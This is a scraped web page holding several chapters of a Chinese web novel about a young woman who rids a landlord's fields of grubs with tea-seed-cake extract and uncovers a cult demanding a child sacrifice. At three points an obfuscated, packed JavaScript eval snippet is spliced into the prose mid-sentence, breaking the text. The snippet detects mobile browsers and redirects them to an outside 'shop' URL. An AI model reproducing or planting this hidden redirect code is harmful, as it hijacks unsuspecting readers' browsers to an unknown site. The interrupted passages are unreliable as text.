有了这些钱，乔家也就能过上好日子了。 站在高处的江稷自然看到了乔元的眼神，这姑娘初见他的时候，还装成一副胆小怕事的样子，如今是相处，倒是愈发懒得藏事儿了。 他唇角一勾，对着乔元笑道：“此事不难，我师妹一人便可解决。师妹，可是如此？” 人在屋檐下不得不低头，还在地里矮人一截的乔元没好气道：“是，师兄。”。 严绍自是没见到二人的眉眼官司，见仙师能答应下来，他喜出望外道：“多谢仙师，多谢仙师。若是有什么需要小人帮忙的，仙师吩咐便是。” 方才被江稷一打断，乔元险些忘了正事。 灵州不像乔元所在的郢州害过旱灾，一般来说，气候没有极端变化的情况下，昆虫的数量是不会骤然增多减少的。 可现如今，地里却无端出现这么多蛴螬，这事儿很不寻常。 现在线索不多，乔元只能先从蛴螬身上找原因。 乔元对严绍道：“严员外，烦请你派人抓些地蚕给我。不过这事儿有些麻烦，我不要一块地上的地蚕，我需要你派人去每一亩地上的东西两端，分别抓一条地蚕给我。” 严绍倒是第一次听到这样的要求，但只要能帮他除虫，这点子要求也不难，他马上应道：“仙师稍后，我这便派人去抓地蚕回来。” 严绍家的地产很是广阔，乔元粗看便有几十亩，抓地蚕又要费些功夫。严绍便先带着两人回府，打算等地蚕抓齐了再交给乔元。 回府的路上，乔元细细打量着严家所在涌泉村的各户农田，一连看了几家，这地里种的竟都是青菜。 难不成这涌泉村的菜，是当地远近闻名的物产？ 乔元心头存了些疑惑。 回到严家，早上来接他们的少年已经立在门口了，一见他们回来，便笑道：“爹，二位仙师，你们回来了。” 这回来的仙师比之前的有本事多了，严绍的心情同样好了不少，他与乔元二人介绍道：“早上匆忙，还未来得及同仙师介绍，这位是我家二郎，唤作元向。” 严元向同乔元二人行了一礼道：“此番虫害，多谢二位仙师鼎力相助。” 倒是个知礼的好少年。 乔元二人在严家休息了一会儿，便到了午飧十分。严绍在正厅设宴款待，他们夫妻和严元向作陪，一桌饭食鸡鸭鱼肉皆由，比在客舍吃的还好些。 吃饱回屋的乔元，看着包袱里满登登的馍馍，一时颇有些惆怅。 这一路上，除了开头那天早上吃了周素蒸的馍馍，剩下的到现在愣是没吃掉一个。 将包裹散出来透透气，闻着馍馍上淡淡的粟米香味，乔元觉得自己似是有些想家了。 不过这份情绪没留存太久，午飧才过了半个时辰，便有仆役来知会乔元，说她要的地蚕已经准备好了。 乔元将包裹重新收拾好，跟着仆役来到了离主院稍远些的一间房里。 房里没有多余的装饰，只在侧边放着一套桌椅，桌椅做工算不上精细，应该是临时从别的地方搬过来的。 在桌脚侧边，则放着一个盖着盖子的竹篓，想来里面应该都是蛴螬了。 房间里没有趁手的研究工具，乔元想了想，托仆役给她拿些竹签来。 这儿离厨房很近，仆役领命而去，不一会儿便拿着大把的竹签回来，交到了乔元手上。 见仆役拿完竹签后，依旧侍立一旁不曾离开，乔元便知晓严绍看来还是对他们的能力有所怀疑。 乔元面上不显，专注眼前，她小心翼翼地打开竹篓的盖子，开始观察起竹篓里的蛴螬。 一掀开盖子，便见几十条蛴螬在里头里扭作一团，蛴螬大都呈乳白色，一条条蜷曲在一起，环节上的一个个小点像是一只只小眼睛，在不断地左右蠕动。这样富有冲击力的画面，不论是谁看到，都会有些作呕。 侍立在她身旁的仆役 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690677|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是在看到竹篓内情景的瞬间，便捂嘴狂奔了出去。 乔元丝毫不受影响，她用竹签在蛴螬堆里剔出一条较小些的蛴螬，将它用竹签定住，开始观察起它的各项表征。 一共六十四条蛴螬，乔元花了两个时辰才仔细观察完毕。在这之后，她又花了半个时辰，一条一条核对过去。 这六十四条蛴螬，无一例外，都是铜绿丽金龟的幼虫。 在自然条件下，一个区域的金龟子类型通常会有几种到几十种不等，绝对不会出现只有一种类型金龟子的极端情况。 研究到此处，乔元已经可以百分百确定，严家的蛴螬害有问题。 正当她凝神思索之际，门被敲响。 乔元抬头一看，是江稷。 江稷本是想来看看乔元进展如何的，待他看清屋内画面，饶是见多识广如他，都微微有些愣神。 屋内只乔元一人坐着，在她面前的桌子上，整整齐齐摆放着六十四条蛴螬，这些蛴螬被乔元用两根竹签定在一起，有些尚有余力的，还在前后凸动。房间里没有开窗，木桌上各处都残留着一些粘稠的不明液体，一股熏人的味道直冲他的鼻腔。 江稷稳了稳身形，才面不改色的踏入屋内，问向乔元，“可有何发现？” 正沉浸在自己思维里的乔元，丝毫不觉这样的场面有何不妥。见江稷开口，她压低声音答道：“严家的虫害有问题，这事儿怕没有表面上看着这么简单。” 江稷倒是没想到，乔元屋内研究了一下午虫子，就能得出这样的结论。 他刚想再问，便听得门口传来脚步声。 “二位仙师，如何了？”是严绍。 他刚站到门口，便见到了乔元桌上这堪称凶残的一幕。严绍面上的笑容僵了僵，一时站在门口进退两难。 六十四条蛴螬全是同一类别，这事儿太过不寻常。 见严绍来了，乔元计上心头，假意怒道：“严员外，你来的正好，你莫不是诓我，这些地蚕当真是在每亩地上的东西两角抓的吗？” 严绍一听，急道：“仙师莫气，这地蚕当真是我按着您的意思抓的。怕下头的那些仆役偷懒，我还特地派了管家前去管束，管家是我严家用老了的人，必不会错的。” 听严绍说的这么肯定，乔元一时蹙眉。如果确定没有抓错的话，那这蛴螬虫害有问题，便是板上钉钉的事实了。 见乔元面容严肃，严绍试探道：“敢问仙师，可是这些地蚕有什么问题。” 乔元端起架子答道：“自是有的，只不过天机不可泄露。我如今能做的，便是设法帮你驱除这虫害。” 江稷生怕乔元一股脑儿将那些疑虑都说了出去，他都已经想好怎么在关键节点打岔了。却见她这么机灵，还会用天机来做掩饰，江稷嘴角噙着一抹淡淡的笑意，看向乔元的目光中多了一丝连他自己都没有察觉到的欣赏。 严绍一听这地蚕果真有问题，脸上骤然没了血色，“仙师，烦请仙师指点迷津，救救我家罢。” 乔元没想到严绍的反应会如此之大，她忙道：“严员外莫急，这事儿倒是不难，你且去多买些茶麸回来，记住，这茶麸越新越好。除此之外，我还要几口大缸，和一包石灰。” 严绍闻言，忙不迭点头，马上出门便吩咐人去采买。 严绍一走，房内便又剩下了乔元同江稷二人。 江稷靠近她身侧，轻道：“此事怕是不简单，你只管除虫害便是，剩下的交由我来。” 乔元一听，便知这剩下的指的是什么，她点头，“那便拜托了。” 30. 蛴螬（四） 仆役们的动作很快，没过多久，五口三人合抱不住的大缸，便送到了乔元研究蛴螬的小院里。 桌面上的蛴螬已经被人清理了出去，左右闲着无事，乔元打算先制点石灰水。 严绍同江稷都不在，乔元便找了候在院外的仆役，颇有礼节地请他带人灌些水到院中的大缸里。 本以为自己不过客居在此，命令可能会难以执行下去，却不料她这头一说，下边的仆役们便马上行动了起来，整整五个大缸，愣是在半刻钟内就灌满了一半。 怕水多了不好控量，乔元急忙喊停，仆役们这才逐渐散去。 倒是没想到严家看着不过是个富户，治家倒颇有方略，乔元在心里想道。 却不知，并非是严绍治家有方，而是仆役们听说她能面不改色分类六十四条蛴螬，打心底对她起了敬佩之心。到底是什么样的人，才能做出如此世间罕见的壮举。 材料备齐，乔元将生石灰大致分成五份，放入水中。生石灰用量不多，遇水之后的放热反应持续的时间并不久，乔元拿着根棍子，随意在各个缸里搅动了几下，入水的生石灰便被打散成粉末状了。 任石灰水静置冷却，乔元搬了把凳子坐在廊檐下，算着茶麸什么时候到。 她之所以向严绍要茶麸，为的便是茶麸里头的茶皂素。茶皂素属于皂苷类化合物，能够与蛴螬体内的脂质结合，它独特的分子结构可以破坏蛴螬细胞膜的完整性，让蛴螬细胞内容物泄漏，最终致其死亡。 乔元知道这点，还是托了隔壁农科院的福。 农科院曾经办过名为‘绿色农业’的展览，怕参观的人少被上头说宣传不到位，里头的研究员给各个办公室都发了邀请函，热情邀请大家去看。 乔元那天刚好没出外勤，就跟着去凑了热闹。 关于那场展会，别的乔元差不多都忘光了，唯一印象深刻的就是茶皂素。 因为那天，在灯火通明的展厅里，在场的众人，都看到有两个研究员穿着布衣，模仿古人站在展台里面打茶麸。他们夸张的打茶麸姿势，和与展台环境格格不入的装扮，成了研究院里近一个月的谈资。 不知过了多久，乔元觉得自己都快等睡着了，才听得院门口传来嘈杂声。 一叠叠用麻绳捆绑的茶麸，被送了进来。 严绍跟在茶麸后头道，“仙师，这批是集市上能买到最新鲜的茶麸了，可堪得用？” 乔元从椅子上起身，走到堆茶麸的角落边上，掰了一块茶麸出来。 严绍购入的这批茶麸呈淡棕色，质地松软，凑近一闻，便能闻到山茶果特殊的香气，一看便不是沉货。乔元冲他点头道：“不错，我要的就是这个。” 茶麸既到，乔元便马上指挥人行动了起来。 想要提取浓度高的茶皂素，一是要茶麸新鲜，二便是增大茶麸和水的接触面积。而增大接触面最好的办法，就是将茶麸碎成粉末。 有严绍在一旁镇场子，院里只能要动的仆役全被叫了过来碎茶麸。 待茶麸被捶成粉末后，乔元上手捻了捻，确定达到了能制茶皂素的水平，这才让仆役们将茶麸末浸入石灰水中。 茶皂素在偏碱性的环境中溶解效果最好，石灰水可以大大提高茶皂素的浸出率。 每缸要放至少四十斤茶麸，持续着捣茶麸放茶麸的机械性循环，乔元这一忙便到了月上中天。 待所有缸里的茶麸都浸入到了石灰水里，又安排守夜人每隔一个时辰就将这几缸茶麸水搅动一番，乔元这才在严绍的一声声赞叹里回房休息。 想要得到足够多的茶皂素，茶麸至少要浸水八个小时，第二日算着时辰在房里休息够了，乔元这才走到小院里。 待她行至院中，便见严绍父子俩已经在里头等着了。一见她来，严绍目露急切道：“仙师，这茶麸水已经浸了四个时辰，可是能用了？” 乔元知他心急，笑道：“那便劳烦员外将这水滤出来罢。” 得到乔元允许，早就候在一旁的仆役们马上开工，将缸中的茶麸滤出，只留下浸泡后的原液。 原液浓度过高，直接喷洒到地里会影响农作物生长，甚至会灼烧幼苗。 为了定下最适宜的浓度，乔元命人提了一桶原液出来，分别兑上不同分量的水，带到严绍的田地里喷洒。 五份不同浓度的茶麸水，被分别洒在了不同区块的田地内，乔元在田埂上做好标记，便静静等着第二天的实验结果。 严绍站在附近看完全过程，心头很是好奇道：“仙师，只这样便能杀死地蚕？” 结果未出，乔元也不便夸下海口，只道：“严员外只消等着看便是。” 见乔元如此有信心，严绍像是被喂下了一颗定心丸，他转而道：“怎的不见仙师的师兄？” 自从到了严家，江稷便神出鬼没的，乔元还真不知晓他去了哪里。 “我师兄他——”乔元试图给江稷找补。 “怎的，严员外找我有事。”乔元话还没出口，一道低沉的男声自严绍身后传来。 被惊到的众人回头一看，不是江稷是谁。 严绍赔笑道：“可见是不能背后说人的，我不过是怕招待不周惹恼了仙师，这才向您师妹打听行踪。” 江稷扯起嘴角，“劳烦员外挂怀了。”说罢他走到乔元身边，扯起她的衣袖道：“今日既已无事，我便先带师妹回去了。” 严绍哪里敢拦，躬身行礼道：“二位仙师慢走。” 江稷不会无缘无故来找她，乔元想来应是出了什么变故，趁着四下无人，问道：“可是出什么事了？” 江稷深看了她一眼道，“无事。” 乔元却是不信的，她刚想开口，便见江稷掏出一个东西递到她面前，“将这东西收好，若遇危难，便拉响它。” 面前是一个小巧的竹罐，里头不知道装了些什么东西，在竹罐下头，还留着一段棉线。乔元伸手接过后掂了掂，很是有分量。 “拉响之后呢？”乔元问道。 “拉响之后，不论我身在何处，都能赶到你身边。”这句话若是由旁人说起，像是句动人的情话，但经由江稷嘴里说出，却像是使用说明。 乔元点了点头，收下了这个竹罐。 江稷连这样的东西都交给她了，说明这严府暗处的危机，比她想象的还要大些。 —— 茶麸水的起效时间由浓度而定，快则两个时辰，慢则需要一天。 想要得到较为精确的结果，便得等到第二日的午飧十分。 可眼看时间越临近第二日正午，严绍同严元向便愈发坐立不安起来，偏乔元不发话，他们也不敢自己去地里头看。 终于还是严元向忍不住了，他鼓起勇气走到乔元身边道：“仙师，我和爹能否先去地里看一看？” 乔元正品味着严绍特地给她上的好茶，看向严元向道：“必得去看？” “必得去看。” 见严元向如此坚持，乔元也不好阻拦，一行人连同不知从哪儿出来的江稷，都一齐到了地里。 白日里头的地蚕全躲在地底下，现在日头正好，打眼望去严家地里同往日没丝毫分别。 见田地上压根没有死去的地蚕，严元向原本期待的神色暗淡了几分，他看向乔元，语气带了一丝质问：“仙师，你这法子不会不管用罢？” “元向！”严绍哪会不知自家儿子的脾性，他马上出言制止道：“小子无礼，烦请仙师莫怪。” 乔元笑笑，不把这事儿放在心上，年轻人，沉不住气很是正常。她目光转向严元向道：“你若是不信我，何不自己去地里挖挖看？” 自从地里害了地蚕，严元向已经见过太多无能之辈了，他也不怵乔元，道：“挖便挖。” 说罢，他抢过仆役手中的小铲，率先下到了乔元标记的第一号试验田里。 小铲本就不是用来锄地的，能挖动的泥土本就不多。 第一铲下去，除了泥土，没有带出任何东西。 严元向挑衅似地看了看乔元，接着往下挖。 待到第二铲的时候，带出了几条地蚕。 严元向这才蹲下，拿小铲碰了碰这些地蚕。这些地蚕通身僵硬，体型较之正常地蚕更为干瘪，且颜色发暗，一看便是死了多时的。 严元向猛地抬头，朝着站在上头的乔元道：“仙师……这……这……” 见他激动地说不出话来，乔元笑道：“如此可信我了？” 严元向满脸涨得通红，嘴里支支吾吾一时竟说不出话来。 严绍见到地上这番情景，哪里还顾得上别的，马上便派了跟来的仆役去洒了茶麸水的地里四处挖掘。 仆役们也是头一次见到这番景象，一个个铆足了劲儿去地里挖，果然没几铲子下去，就带出了不少死了地蚕。 站在田埂上的严家父子，见仆役来报每一块地里都死了地蚕，脸上的欣喜之色溢于言表。 严元向更是紧紧捏着严绍的袖子，眼泪夺眶而出，“爹，地蚕死了，雁妹妹有救了，有救了！” 严元向哭喜极而泣，严绍闻言却像是瞬间便了个人似的，再不复人前憨厚良善的模样，他低声呵道：“住嘴！” 被爹这一叱骂，严元向这才像是如梦初醒般，擦了擦眼泪，捂嘴道：“爹，对不住，我实在是太高兴了。” 严绍瞥了乔元二人一眼，见他们还忙着同仆役说话，丝毫没有注意到这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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没有明显委顿和灼烧的痕迹。 看来一比五的浓度的茶麸水，不仅消杀的地蚕数量最多，而且对地面的植株也不会有明显影响。 得出精准的调配比例，剩下的事情便不再麻烦了。 一行人回到严家，乔元便吩咐仆役照着一份原液兑五份水的例子，将这茶麸水洒到地里。 严家若是因为这地蚕害倒了，对他们这些卖身入严家的人只有坏处没有好处，因而仆役们做起事来，比乔元还认真不少，一个个拿着瓢子认真比对好，确认是一份比五份了，才将茶麸原液同水兑在一起。 茶麸水不能经常使用，在第一次洒入地里之后，至少要隔上七天，才能洒第二次，不然不仅土地的酸碱度会被破坏，地上的植株也落不到好。 怕严绍急于求成，不管不顾的天天将茶麸水洒入地面，乔元仔细地将这些细节同他交代好，见严绍点头应下，这才放心用饭。 接下去几日，严家地里头处处都是在洒茶麸水的仆役。怕有些人做事不到位，严绍还派了管家没日没夜地盯着，生怕出了一丝错漏。 有人帮着做事，乔元除了偶尔去院里看顾一下新到茶麸制取的原液，其余时候倒都很是悠闲。 江稷依旧不见踪影，有些时候连饭食都不回来吃。不过他这么大个人了，又是巡检使，乔元倒没有丝毫担心。 第一批茶麸水下去三日后，地里的蛴螬死了约有五分之一。 最近日日都能听得仆役来报地蚕死了的好消息，严绍每天走路都带风，面上的笑意就没停过。 院里和田地里基本没有用得上乔元的地方了，乔元清闲得有些发闷。正想去地里晃晃找点事情做做，便见严绍端着一只盖着红绸的木盘朝乔元走来。 “仙师，可算是找到你了。”严绍将东西放在矮几上，朝乔元笑道。 严绍面带喜色，不像是地里出事情的样子，乔元疑道：“严员外，你这是？” 严绍将木盘上的红绸掀开，是码得整齐的银锭，除此之外，在另一半的角落里，则放着几支珠花。“仙师的恩情，我严绍无以为报，便只能用这些俗物，以示感谢。” 这一盘银锭，虽没有周进给的多，但也是普通农人一辈子都挣不到的数目了。 “这份谢礼太过贵重，我怕是不能尽数收下。”乔元推脱道。 严绍哪会不懂她的意思，“仙师莫要推脱了，这是我严家的心意，仙师若是不收，莫不是瞧不上这点东西。” 乔元撇开眼，哪里是瞧不上，是太瞧得上了。 抑制着自己想要一锅端的欲望，乔元正欲再度开口推脱，却见有仆役脸色苍白着跑入，“不好了，里正带着佃农们往府里来了。” 31. 蛴螬（五） 严绍同里正常有往来，听得是里正带着人来的，他面上很是镇定，反倒斥责起仆役道：“这般慌乱成何体统，也不怕贵客笑话。” 仆役心头是有苦说不出，他只得缓了口气畏缩些道：“这……佃农们手上都拿着家伙，瞧着气势汹汹的，小的也是一时急了才入内冒犯。” 严绍自是不听他辩驳，只转头对乔元恭敬道：“原不是什么大事，下人不懂规矩冲撞仙师了，烦请仙师先入内休息罢。” 莫管他人事，活到九十九。乔元从善如流道：“既如此，我便先回房歇息了。” 躬身目送乔元远去，严绍这才挺直脊背，点了点候在院中的仆役，“说罢，到底怎么回事。” 严府门外。 佃农们手上拿着各式农具，正聚集在门外，群情激奋地想向严绍讨个说法。 “严绍，你快些出来，都是你害得我们今年无法耕种。” “不仅如此，他还要收租，这就是在断我们的活路。” “诸位乡亲，不若我们速速破门进去将他擒下，没的让他严家害了我们整个村子的道理。” “对，就这么办，咱们不能任由他祸害我们村。” 走到正门边的严绍自然听得了这些佃户的言语，门被砸得框框响，细听还有凿子的声音，木门在佃农们的敲击下，不断发出沉闷的“梆梆”声。 严家这扇大门，祖祖辈辈也算传了三代了，虽用的只是老黄林里头砍出来的普通柏木，但也算见证了严家多年起落，若真毁在自己个儿手里当真可惜。 严绍将院里身强力壮的仆役都唤上，让年轻些的冲在前头，自己个儿则站在他们后头些，他冲仆役们使了个眼色，仆役们摆好姿势，一使劲儿，门便开了。 扑在门上一心想将大门砸烂的佃农们，一个不留神，好几个接连栽倒在地面上。 人群一时间闹得兵荒马乱，四处都是痛呼声。 严绍站在院内皮笑肉不笑道：“诸位今日登门，可有要事？来了这么些人，还带上这许多家伙事，莫不是想抢了我严家。” 严家涌泉村积威已久，严绍一开口，方才在他家门外逞凶斗狠的佃农们，便惊惧于他的威势不敢吭声。 见人群较之前冷静了些，被挤在后头的涌泉村里正这才上前道：“严员外，今日这些佃户们并非有意闹到你门前来，不过是想你能给个说法。” “说法，什么说法？”严绍面带嘲讽，“是我每年给佃户们每亩地少算半斗麦子的说法，还是我严家二十年没加租的说法？” “怎的，就凭这点子小恩小惠，你便想一了百了万事大吉了？”出声的是方才在门外喊着要砸门的汉子，外头这么些佃户，属他衣衫最为破旧，身上的补丁也是打了又打。 严绍瞧着下头这个成天低头哈腰称他一声‘员外’的人，嗤笑道：“牛大，当年你在外欠了赌债没钱安葬你老母的时候，这丧葬费还是我严绍替你出的。” 牛大梗着脖子道：“你别同我扯这些陈芝麻烂谷子的事儿，我们今日是来问你这地蚕怎么办的？” 有人带头，佃农们仿佛又有了底气，在下头应和道：“是啊，严员外，你今日必得给我们个说法。” “按我说，定是他去年不听里正劝导，偏叫我们种麦子给闹的。” “不错不错，他必是触犯了神灵，才导致这场灾祸。” “就是，还不如早早将雁姐儿交出去，好让我们免受这一场祸患。” 下头的话说的越来越不像样，严绍脸色很是难看，他道：“地蚕之害，我已经请了仙师来除了，再过几日便不再会有影响，各位今日还请回罢。” 牛大一听这话，又起了劲，“你说的不会是前几日在你家地里晃荡的那个野丫头罢，这点子年纪也配称作仙师，严员外，我瞧你是老糊涂了，有这功夫同姑娘耍乐，还不若早些将我们今年的地租免了才是。” 严绍听完这话，胸口一上一下急剧起伏，他怎的也不曾想到，自己在这涌泉村行善多年，不过一点小小虫害，便落得如此人嫌狗厌的地步。甚至于他这么多年帮过的涌泉村民，此时此刻，竟也无一人敢站出来帮他说话。 严绍的呼吸愈发粗重，管家见势不对，忙站在他身后帮他拍背顺气，过了好一会儿，他才缓了过来。偏偏祸不单行，有仆役从远处跑来，挤过人群，带着慌乱凑近严绍耳边，不过几句耳语，便见严绍眼白一番，身躯轰然倒下。 里正也没料到今日会闹成这样，他忙冲过去急道：“快，快去叫郎中来。” 场面一时间乱作一团。 —— 此刻在屋里小憩的乔元，丝毫不知院外发生的事情。她只听得屋外有些闹哄哄的，没过多久，就有人在敲她的门。 乔元起身打开门，便见管家站在她门前急得满头是汗，“仙师，大事不妙，这地里的地蚕又出现了。” 乔元有些莫名，“这地蚕不是本就还没除尽吗？” 管家不知如何同乔元解释，他只道：“烦请仙师先去地里头看看罢。” 乔元被管家推着往前走，满头雾水。 待她一路急行到地里，才明白管家所说。 这地里的地蚕，的确又出现了。 原本施了茶麸水的严家田地里，蛴螬的数量在逐日减少，昨日乔元几铲子下去，都带不出一条蛴螬。 但今日甚至不用下地，在田地上，又出现了一批蛴螬。甚至可以说，这地上，爬着的满是蛴螬，而且数量比之前还要多上一倍不止。 乔元面若凝霜，她下地随手抓起一条蛴螬，确认完表征后，又去另一处抓起一条确认。 来来回回几趟，乔元终于从地里走上田埂，语调冰冷道：“带我去找你们员外。” 闻言管家面上带了悲色，“我们员外，方才被佃农们气昏了过去，此刻郎中在府里看诊把脉。” 乔元不再在地里停留，她快步往严府走去，“跟上，快走。” 严绍一倒，持家的担子便落到了严元向肩头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726105|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔元刚步入主院，便见小小少年背手立在院中，流露着一丝同他年纪不符的深沉。 “元向，你爹如何了？”乔元走进问道。 严元向回头见是乔元，同她行礼后道：“劳仙师挂念，郎中已经看过诊了，说是一时激愤，急火攻心才致昏倒，经郎中施针后，现下已经好多了。” 乔元点头，追问道：“今日到底发生了什么？” 严家在涌泉村有头有脸，怎会被佃农欺负到如此境地。 严元向双手紧握成拳，紧了又松，松了又紧，反复几下才扯出笑脸道：“不过是因为地租的事情闹的有些不愉快，仙师不必上心，倒是这地里的地蚕骤然增多，仙师可有解决之法？” 少年的脸色骗不了人，严元向在说谎。 乔元别过眼，既他不愿意说，她自然也能从别的地方找到想要的答案，她道：“我正为这事儿而来，你爹若是醒了，便引我进去一见罢。” 严元向应下，引着乔元往主屋走去。 及到主屋跟前，便听得屋内传来严绍妻子郑氏的声音，“我就说那仙师两兄妹定是江湖骗子，不然怎的好好的地蚕，昨日死了，今日便又活了，莫不是专程骗我们家钱财的。” 严绍虚弱的声音紧接着传来，“你闭嘴，莫要再说了。” 郑氏将碗一放，“好好好，如今闹成这个样子，我且看你怎么收场。” 说罢，她便开门走了出来。 可不巧的是，刚打开门，就见被严元向引至门前的乔元，郑氏脚步一顿，面露心虚，连看乔元一眼都不敢，直直绕过她走了出去。 自己母亲当着他人的面说人短处，偏偏还被正主听见了。如此行径，让严元向觉得颇有些难堪。 他躬身想向乔元赔礼道歉，却见乔元摆摆手，丝毫不在意的走入屋内。 屋内弥漫着一股浓重的药味，严绍半躺在床上，整个人都很是憔悴。他见乔元进来，便知妻子这话已经被她听到了，他轻咳几声，才缓道：“仙师对不住，是我管束内眷无方了。” “无妨。”乔元不介意这点子话，她坐在方才郑氏坐的位置上，对严绍肃色道：“严员外，你可有惹上什么仇家？” 严绍奇道：“仙师何出此言？” 乔元直言道：“如今你家地上的这批地蚕，是有人故意放入的。” 在乔元身后的严元向惊了一惊，忙问道：“仙师的意思是，这地蚕并非从地里长出来的，而是有人故意放入我家地里的？” “正是。” 严绍垂头，神色晦暗不明。 乔元也不催，只静静坐着，等待他的回答。 过了半晌，严绍才答道：“仙师莫要开玩笑了，我严家乐善好施，从不与人起冲突，又怎会有仇家？” 乔元倒是没曾想严绍咬死不认，她正欲开口，便听从屋外传来一声轻笑，多日不见的江稷从外头风尘仆仆进来，他道：“若我说这仇家，是阴神教呢？严员外，事到如今，你还要装傻不成？” 32. 蛴螬（六） 江稷一进屋，屋内的氛围霎时就变了。 严绍示意严元向将他扶起，又差他拿了几个软枕垫在自己后背，这才道：“仙师这是什么意思？” 江稷不理会他的目光，径直坐到屋内的茶案旁，慢条斯理道：“幽夜深，觅光明。尊阴神，金蚕生。” 提起茶壶给自己倒了杯茶，江稷轻抿一口，“严员外，这话你可熟悉？” 严绍的面上看不出有任何变化，他道：“从未听闻。” 江稷似是早就料到般，接着道：“听闻严员外育有二子一女，我们来了多日，却只见到二郎，敢问大郎同三姑娘现在何处？” 不等严绍出声，严元向道：“我大哥带着三妹妹去外祖家了。” 江稷很是闲适地倚靠在椅背上，对着严元向道，“这话说的不老实。严员外，不若你来说说，他们现在何处？” “元向所言不虚，他们的确去了外祖家。”严绍同样如此答道。 嘴硬的人江稷见的没有一百也过八十了，他从怀中掏出一块玉佩，丢到了严绍的床榻上。“员外可识得此物？” 玉佩的底子是上好的白玉，用金穗丝线系着，上头刻着一株松柏，角落里则还有一行小字，将小字首尾两端各取一字合起，正是元兴二字。 严家长子，严元兴。 “你何处得来大哥的玉佩！”严元向面上藏不住事，在看清玉佩上的细节后，不住惊疑道。 在玉佩落道床上的第一眼，严绍便看出这是大儿子的东西，他闭眼，叹息一声道：“看来仙师已经知晓了？” 江稷神情洞若观火，“不错。” 严绍目露思念道：“他们现今如何？” 江稷道：“如惊弓之鸟。” 闻言，严绍强撑起来的神色霎时委顿下来，他双手握拳用力往床铺上一砸，“都怪我，都怪我啊！” 严元向扑在他身旁，哽咽道：“爹，你别这么说，这不是你的错。” 那厢父子俩哭作一团，另一头的江稷又云淡风轻，两方的割裂感让乔元看的是云里雾里，她眼神看向江稷，示意他解释一下。 江稷冲她笑了笑，并不正面作答，转而对严家两父子道：“对了严员外，严姑娘托我带句话，问她什么时候才能回来。” 闻得此言，严绍再也抑制不住心头的情绪，他推开严元向从床榻上下来，躬身行至江稷面前，“还请仙师救我严家满门。” 江稷看向他的眼神没有丝毫温度，“阴神教是怎么找上你的，且说说罢。” 半刻钟过后，被重新扶回床榻的严绍，终于缓和了几分情绪，他缓缓开口，同在场几人道来前因后果。 涌泉村得名于涌泉二字，是因为在村内有一天然泉眼，泉水自泉眼漫出，沿着径流一直向下蜿蜒流去，滋养着整个涌泉村同附近的村落。 直至三年前，涌泉村的泉水断流了。 泉水断流不是小事，村里的人都慌了，深觉是否惹怒了上天，降下灾祸才致如此。 几个村的里正商议一番后，决定开作法，为表诚心，还请了灵州最有名望的道观里的道长来。仪式进行了三天三夜，砸了不少银钱下去，可直至结束，泉眼里头都没有涌出一丝泉水。 连道长都说，怕是不成了。 泉水断流，赖以为生的村民们便再也无法在此地生存，就在众人商议是否别地而居之际，村里来了个云游方士，那方士瞧着样貌平平，却颇有来历，他自称来于阴神教，受到阴神王点化，能解世间一切苦厄。 他直言道，若想让泉水复流，有一极为简单的法子，只消众人诚心在阴神王像前祈祷一天一夜，第二日黎明十分，泉水定会复涌。 众人此刻早已急得早就毫无章法，听得方士建议，权将死马当活马医，几个村的村民当夜就请了方士随身携带的阴神王小像，对着小像祈祷了一日一夜。 令人惊奇的是，第二日黎明，众人先是听得一阵汩汩声，接着便像是万马奔腾，待村人跑去泉眼边一看，泉水过真复流了。 经此一事，阴神王在众人心中便如同再造之神，几个村镇的人更是着人花重金打造了它的神像摆在各自的村镇中心。 至于道教同佛教，在它面前全都不值一提。 听完严绍所述，乔元不禁追问道：“这阴神教，同这地蚕又有何关系？” 严绍长叹道：“这事怪我，那方士走时，同村人说了，若想要村里长久安宁，必须要遵循神谕，涌泉村借由神力才得恢复泉水，为了谢过阴神王，此间三年内，只要是泉水范围内的村落，只得种菜养气，若有违逆，必遭天罚。” 乔元恍然记起初见那日，她曾问严绍这地里种过什么，她记得严绍说过，在种菜之前，种的是麦子。 她出言道：“你让佃农们种麦子了？” 严绍沉默点头。 严元向生怕两人对他爹有所误会，便道：“这事儿不怪我爹，涌泉村虽然富庶，但接连三年年年种菜，再富庶的村子，也是坐吃山空。所以我爹才力排众议，要求大家种上麦子，这样才能让那些穷苦人家有一线生机。” “事已至此，多说无益。”严绍打断严元向所说，“我本以为请得天耕大仙的弟子，将地蚕除去，便能化解这场危机，却不料最终还是成了这样。” 众人沉默之际，江稷道：“严员外，你可曾再找过那方士？” 严绍道：“自是找过的。” “那方士可有说什么解决之法？” 谈及此处，严家父子二人再度无言。 江稷一针见血道：“是同三姑娘有关罢？” 话已说到这份上，再藏着掖着也没有丝毫意义，严绍和盘托出，“仙师所言不错，那方士说了，此举惹怒了阴神王，这地蚕不过是刚开始，只有将雁姐儿献祭于阴神王，才能求得免去更大的灾祸。” 景朝虽有将子女奉于神前的说法，但这充其量也不过是让子女在神前挂名，每月挑几日沐浴吃斋，以示诚心。 